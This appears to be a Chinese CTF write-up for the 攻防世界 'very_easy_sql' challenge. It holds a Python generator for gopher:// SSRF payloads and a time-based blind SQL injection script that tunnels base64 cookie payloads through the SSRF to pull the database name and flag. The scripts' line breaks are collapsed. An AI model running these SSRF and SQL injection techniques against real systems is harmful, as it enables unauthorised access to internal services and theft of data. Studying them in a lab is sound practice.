当前位置: 首页 > news >正文

攻防世界32 very_easy_sql【SSRF/SQL时间盲注】

不太会,以后慢慢看

被骗了,看见very_easy就点进来了,结果所有sql能试的全试了一点用都没有 

打开源代码发现有个use.php

好家伙,这是真的在考sql吗...... 

 制作gopher协议的脚本:

import urllib.parsehost = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host,content_length,content)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

得出来payload在网址处提交:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

Set_Cookie处有YWRtaW4%3D,解码半天弄不出来,突然意识到%3D是=的意思,哎呦我这个笨蛋 

没有报错没有回显,这道题用时间盲注,注入点在cookie中(?)

时间盲注脚本:

import urllib.parse
import requests
import time
import base64url = "http://61.147.171.105:51906/use.php?url="
flag = ""
for pos in range(1, 50):for i in range(32, 127):# 猜一下回显数量#payload="') union select 1,2,if(1=1,sleep(2),1)#"# 猜数据库名字为securitypayload = "') union select 1,2,if(ascii(substr((database()),"+str(pos)+",1))="+str(i)+",sleep(2),1)#"# 猜解数据库表名为flag# poc = "') union select 1,2,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),"+str(pos)+",1))="+str(i)+",sleep(2),1)#"# 猜解flag字段#payload = "') union select 1,2,if(ascii(substr((select * from flag),"+str(pos)+",1))="+str(i)+",sleep(2),1) #"payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+payload+"%3B%250d%250a"start = time.time()requests.get(url+final_poc)end = time.time()if end-start > 2:         # 如果时间大于2秒,说明这个字符是正确的flag += chr(i)print(flag)breakelse:continue


http://www.mrgr.cn/news/90114.html

相关文章:

  • 25自动化考研复试面试常见核心问题真题汇总,自动化考研复试面试有哪些经典问题?自动化考研复试难不难啊?
  • 日语学习-日语知识点小记-构建基础-JLPT-N4&N5阶段(2):どれ・どの・どんな :区别 等
  • GitHub分支与标签完全指南:从入门到高效管理
  • Unity3D仿星露谷物语开发28之切换场景
  • Java之自定义注解
  • Linux系统命令无法使用(glib库相关问题)
  • 【MQ】Spring3 中 RabbitMQ 的使用与常见场景
  • 【MQ】RabbitMQ 高可用延时功能的探究
  • 0 Rust与Qt集成实践指南(CXX-Qt)
  • 使用Redis实现业务信息缓存(缓存详解,缓存更新策略,缓存三大问题)
  • 【学Rust写CAD】5 三维转换矩阵解析及应用示例
  • MySQL数据库 - 阶段性体系总结
  • SQL自学,mysql从入门到精通 --- 第 1 天,系统环境搭建,mysql部署
  • 9.JVM-方法区
  • Java/Kotlin 使用 Chrome 无头浏览器
  • 免费windows pdf编辑工具Epdf
  • 【centos安装mysql数据库】详细版
  • SQL自学,mysql从入门到精通 --- 第 15天,数据导入、导出
  • QT-常见问题
  • 数据结构-find()-判断字符串s1中是否包含字符串s2
  • VirtualBox中Ubuntu 22.04网卡配置以及解决过程中遇到的问题
  • 【C++学习篇】C++11第二期学习
  • Docker 1. 基础使用
  • vue3 -- 基于el-statistic实现动态数字滚动效果并封装卡片组件
  • jupyterLab插件开发
  • 保姆级教程Docker部署Zookeeper模式的Kafka镜像